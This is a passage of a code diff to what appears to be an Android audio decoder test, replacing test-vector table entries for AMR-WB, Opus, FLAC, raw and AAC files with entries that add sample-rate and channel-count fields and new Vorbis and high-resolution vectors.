-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_19.85kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_23.05kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_23.85kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-
-                // flac
-                // TODO(add content for 96kHz and 192kHz)
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_1ch_8kHz_lvl4_flac.mka"},
-                        "audio/bbb_1ch_8kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_1ch_12kHz_lvl4_flac.mka"},
-                        "audio/bbb_1ch_12kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_1ch_16kHz_lvl4_flac.mka"},
-                        "audio/bbb_1ch_16kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_1ch_22kHz_lvl4_flac.mka"},
-                        "audio/bbb_1ch_22kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_1ch_24kHz_lvl4_flac.mka"},
-                        "audio/bbb_1ch_24kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_1ch_32kHz_lvl4_flac.mka"},
-                        "audio/bbb_1ch_32kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_1ch_44kHz_lvl4_flac.mka"},
-                        "audio/bbb_1ch_44kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_1ch_48kHz_lvl4_flac.mka"},
-                        "audio/bbb_1ch_48kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_2ch_8kHz_lvl4_flac.mka"},
-                        "audio/bbb_2ch_8kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_2ch_12kHz_lvl4_flac.mka"},
-                        "audio/bbb_2ch_12kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_2ch_16kHz_lvl4_flac.mka"},
-                        "audio/bbb_2ch_16kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_2ch_22kHz_lvl4_flac.mka"},
-                        "audio/bbb_2ch_22kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_2ch_24kHz_lvl4_flac.mka"},
-                        "audio/bbb_2ch_24kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_2ch_32kHz_lvl4_flac.mka"},
-                        "audio/bbb_2ch_32kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_2ch_44kHz_lvl4_flac.mka"},
-                        "audio/bbb_2ch_44kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_FLAC, new String[]{"audio/bbb_2ch_48kHz_lvl4_flac.mka"},
-                        "audio/bbb_2ch_48kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
+                // amrwb
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_6.6kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_8.85kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_12.65kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_14.25kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_15.85kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_18.25kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_19.85kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_23.05kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRWB, new String[]{"audio/bbb_mono_16kHz_23.85kbps_amrwb.3gp"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
 
                 // opus
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_1ch_8kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_1ch_12kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_1ch_16kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_1ch_24kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_1ch_32kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_1ch_48kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_2ch_8kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_2ch_12kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_2ch_16kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_2ch_24kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_2ch_32kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_2ch_48kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_5ch_8kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_5ch_12kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_5ch_16kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_5ch_24kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_5ch_32kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_5ch_48kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_6ch_8kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_6ch_12kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_6ch_16kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_6ch_24kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_6ch_32kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_OPUS, new String[]{
-                        "audio/bbb_6ch_48kHz_opus.ogg"}, null, -1.0f, -1L, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_1ch_8kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_1ch_12kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_1ch_16kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_1ch_24kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_1ch_32kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_1ch_48kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_2ch_8kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_2ch_12kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_2ch_16kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_2ch_24kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_2ch_32kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_2ch_48kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_5ch_8kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 5, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_5ch_12kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 5, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_5ch_16kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 5, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_5ch_24kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 5, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_5ch_32kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 5, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_5ch_48kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 5, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_6ch_8kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 6, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_6ch_12kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 6, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_6ch_16kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 6, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_6ch_24kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 6, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_6ch_32kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 6, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_OPUS, new String[]{"audio/bbb_6ch_48kHz_opus.ogg"},
+                        null, -1.0f, -1L, 48000, 6, -1, -1, CODEC_ALL},
+
+                // vorbis
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_1ch_8kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_1ch_12kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 12000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_1ch_16kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_1ch_24kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 24000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_1ch_32kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 32000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_1ch_48kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_2ch_8kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 8000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_2ch_12kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 12000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_2ch_16kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 16000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_2ch_24kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 24000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_2ch_32kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 32000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/bbb_2ch_48kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/highres_1ch_96kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 96000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_VORBIS, new String[]{"audio/highres_2ch_96kHz_q10_vorbis.ogg"},
+                        null, -1.0f, -1L, 96000, 2, -1, -1, CODEC_ALL},
+
+                // flac
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_1ch_8kHz_lvl4_flac.mka"},
+                        "audio/bbb_1ch_8kHz_s16le_3s.raw", 0.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_1ch_12kHz_lvl4_flac.mka"},
+                        "audio/bbb_1ch_12kHz_s16le_3s.raw", 0.0f, -1L, 12000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_1ch_16kHz_lvl4_flac.mka"},
+                        "audio/bbb_1ch_16kHz_s16le_3s.raw", 0.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_1ch_22kHz_lvl4_flac.mka"},
+                        "audio/bbb_1ch_22kHz_s16le_3s.raw", 0.0f, -1L, 22050, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_1ch_24kHz_lvl4_flac.mka"},
+                        "audio/bbb_1ch_24kHz_s16le_3s.raw", 0.0f, -1L, 24000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_1ch_32kHz_lvl4_flac.mka"},
+                        "audio/bbb_1ch_32kHz_s16le_3s.raw", 0.0f, -1L, 32000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_1ch_44kHz_lvl4_flac.mka"},
+                        "audio/bbb_1ch_44kHz_s16le_3s.raw", 0.0f, -1L, 44100, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_1ch_48kHz_lvl4_flac.mka"},
+                        "audio/bbb_1ch_48kHz_s16le_3s.raw", 0.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_2ch_8kHz_lvl4_flac.mka"},
+                        "audio/bbb_2ch_8kHz_s16le_3s.raw", 0.0f, -1L, 8000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_2ch_12kHz_lvl4_flac.mka"},
+                        "audio/bbb_2ch_12kHz_s16le_3s.raw", 0.0f, -1L, 12000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_2ch_16kHz_lvl4_flac.mka"},
+                        "audio/bbb_2ch_16kHz_s16le_3s.raw", 0.0f, -1L, 16000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_2ch_22kHz_lvl4_flac.mka"},
+                        "audio/bbb_2ch_22kHz_s16le_3s.raw", 0.0f, -1L, 22050, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_2ch_24kHz_lvl4_flac.mka"},
+                        "audio/bbb_2ch_24kHz_s16le_3s.raw", 0.0f, -1L, 24000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_2ch_32kHz_lvl4_flac.mka"},
+                        "audio/bbb_2ch_32kHz_s16le_3s.raw", 0.0f, -1L, 32000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_2ch_44kHz_lvl4_flac.mka"},
+                        "audio/bbb_2ch_44kHz_s16le_3s.raw", 0.0f, -1L, 44100, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/bbb_2ch_48kHz_lvl4_flac.mka"},
+                        "audio/bbb_2ch_48kHz_s16le_3s.raw", 0.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/highres_1ch_96kHz_lvl4_flac.mka"},
+                        "audio/highres_1ch_96kHz_s16le_5s.raw", 0.0f, -1L, 96000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/highres_1ch_176kHz_lvl4_flac.mka"},
+                        "audio/highres_1ch_176kHz_s16le_5s.raw", 0.0f, -1L, 176400, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/highres_1ch_192kHz_lvl4_flac.mka"},
+                        "audio/highres_1ch_192kHz_s16le_5s.raw", 0.0f, -1L, 192000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/highres_2ch_96kHz_lvl4_flac.mka"},
+                        "audio/highres_2ch_96kHz_s16le_5s.raw", 0.0f, -1L, 96000, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/highres_2ch_176kHz_lvl4_flac.mka"},
+                        "audio/highres_2ch_176kHz_s16le_5s.raw", 0.0f, -1L, 176400, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/highres_2ch_192kHz_lvl4_flac.mka"},
+                        "audio/highres_2ch_192kHz_s16le_5s.raw", 0.0f, -1L, 192000, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_FLAC, new String[]{"audio/sd_2ch_48kHz_lvl4_flac.mka"},
+                        "audio/sd_2ch_48kHz_f32le.raw", 3.446394f, -1L, 48000, 2, -1, -1,
+                        CODEC_ALL},
 
                 // raw
-                // TODO: add content for larger sampling rates and float pcm
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_1ch_8kHz.wav"},
-                        "audio/bbb_1ch_8kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_1ch_16kHz.wav"},
-                        "audio/bbb_1ch_16kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_1ch_22kHz.wav"},
-                        "audio/bbb_1ch_22kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_1ch_24kHz.wav"},
-                        "audio/bbb_1ch_24kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_1ch_32kHz.wav"},
-                        "audio/bbb_1ch_32kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_1ch_44kHz.wav"},
-                        "audio/bbb_1ch_44kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_1ch_48kHz.wav"},
-                        "audio/bbb_1ch_48kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_2ch_8kHz.wav"},
-                        "audio/bbb_2ch_8kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_2ch_16kHz.wav"},
-                        "audio/bbb_2ch_16kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_2ch_22kHz.wav"},
-                        "audio/bbb_2ch_22kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_2ch_24kHz.wav"},
-                        "audio/bbb_2ch_24kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_2ch_32kHz.wav"},
-                        "audio/bbb_2ch_32kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_2ch_44kHz.wav"},
-                        "audio/bbb_2ch_44kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_RAW, new String[]{"audio/bbb_2ch_48kHz.wav"},
-                        "audio/bbb_2ch_48kHz_s16le_3s.raw", 0.0f, -1L, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_1ch_8kHz.wav"},
+                        "audio/bbb_1ch_8kHz_s16le_3s.raw", 0.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_1ch_16kHz.wav"},
+                        "audio/bbb_1ch_16kHz_s16le_3s.raw", 0.0f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_1ch_22kHz.wav"},
+                        "audio/bbb_1ch_22kHz_s16le_3s.raw", 0.0f, -1L, 22050, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_1ch_24kHz.wav"},
+                        "audio/bbb_1ch_24kHz_s16le_3s.raw", 0.0f, -1L, 24000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_1ch_32kHz.wav"},
+                        "audio/bbb_1ch_32kHz_s16le_3s.raw", 0.0f, -1L, 32000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_1ch_44kHz.wav"},
+                        "audio/bbb_1ch_44kHz_s16le_3s.raw", 0.0f, -1L, 44100, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_1ch_48kHz.wav"},
+                        "audio/bbb_1ch_48kHz_s16le_3s.raw", 0.0f, -1L, 48000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_2ch_8kHz.wav"},
+                        "audio/bbb_2ch_8kHz_s16le_3s.raw", 0.0f, -1L, 8000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_2ch_16kHz.wav"},
+                        "audio/bbb_2ch_16kHz_s16le_3s.raw", 0.0f, -1L, 16000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_2ch_22kHz.wav"},
+                        "audio/bbb_2ch_22kHz_s16le_3s.raw", 0.0f, -1L, 22050, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_2ch_24kHz.wav"},
+                        "audio/bbb_2ch_24kHz_s16le_3s.raw", 0.0f, -1L, 24000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_2ch_32kHz.wav"},
+                        "audio/bbb_2ch_32kHz_s16le_3s.raw", 0.0f, -1L, 32000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_2ch_44kHz.wav"},
+                        "audio/bbb_2ch_44kHz_s16le_3s.raw", 0.0f, -1L, 44100, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/bbb_2ch_48kHz.wav"},
+                        "audio/bbb_2ch_48kHz_s16le_3s.raw", 0.0f, -1L, 48000, 2, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/highres_1ch_96kHz.wav"},
+                        "audio/highres_1ch_96kHz_s16le_5s.raw", 0.0f, -1L, 96000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_RAW, new String[]{"audio/highres_2ch_96kHz.wav"},
+                        "audio/highres_2ch_96kHz_s16le_5s.raw", 0.0f, -1L, 96000, 2, -1, -1,
+                        CODEC_ALL},
 
                 // aac-lc
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_8kHz_aac_lc.m4a"},
-                        "audio/bbb_1ch_8kHz_s16le_3s.raw", 26.907248f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_12kHz_aac_lc.m4a"},
-                        "audio/bbb_1ch_12kHz_s16le_3s.raw", 23.366642f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_16kHz_aac_lc.m4a"},
-                        "audio/bbb_1ch_16kHz_s16le_3s.raw", 21.354156f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_22kHz_aac_lc.m4a"},
-                        "audio/bbb_1ch_22kHz_s16le_3s.raw", 25.980762f, -1L, CODEC_ALL},
